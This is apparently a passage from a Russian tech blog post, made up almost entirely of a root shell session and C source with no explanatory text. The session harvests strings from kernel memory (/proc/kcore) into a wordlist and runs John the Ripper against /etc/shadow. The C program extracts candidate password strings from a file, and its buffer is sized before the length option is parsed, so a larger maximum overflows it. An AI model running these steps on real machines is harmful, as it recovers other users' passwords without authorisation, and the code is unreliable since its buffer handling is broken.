# strings /proc/kcore > /tmp/kdump
# wc -l /tmp/kdump
4438050 ( 3 )
# strings /proc/kcore | sort -u > /tmp/kdump.uniq
# wc -l /tmp/kdump.uniq
3330526
# strings -n 6 /proc/kcore | sort -u > /tmp/kdump.uniq.6
# wc -l /tmp/kdump.uniq.6
674397
# john --wordlist=/tmp/kdump.uniq.6 /etc/shadow
Loaded 5 password hashes with 5 different salts (FreeBSD MD5 [32/32])
....
#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
void usage( char * argv0)
{
printf( "Usage: %s [options] <filename>\n" ,argv0);
printf( "-m [MIN] minimal length of string (Default: 4)\n" );
printf( "-M [MAX] maximal length of string (Default: 12)\n" );
printf( "<filename> file that u want to dump\n" );
exit(1);
}
int main( int argc, char * argv[])
{
FILE *fp;
int arg, i, binvalid;
int MIN=4;
int MAX=12;
char pass[MAX+1],ch;
char * filename;
while ((arg = getopt(argc, argv, "m:M:" )) != EOF)
{
switch (arg)
{
case 'm' : MIN=atoi(optarg);
break ;
case 'M' : MAX=atoi(optarg);
break ;
default : usage(argv[0]);
break ;
}
}
if (optind >= argc)
{
usage(argv[0]);
}
filename = argv[optind];
fp=fopen(filename, "r" );
if (!fp)
{
printf( "ERROR: Unable open file: %s\n" ,filename);
return 1;
}
i=0;
do
{
ch=( char )fgetc(fp);
if (feof(fp)) break ;
if ( ch>33 && ch < 127 )
{
i++;
pass[i-1]=ch;
if (i>= MAX)
{
pass[i]= '\0' ;
printf( "%s\n" ,pass);
i=0;
}
}
else
{
if (i>=MIN)
{
pass[i] = '\0' ;
printf( "%s\n" ,pass);
}
i=0;
}
}
while (1);
fclose(fp);
}
Source: https://habr.com/ru/post/87915/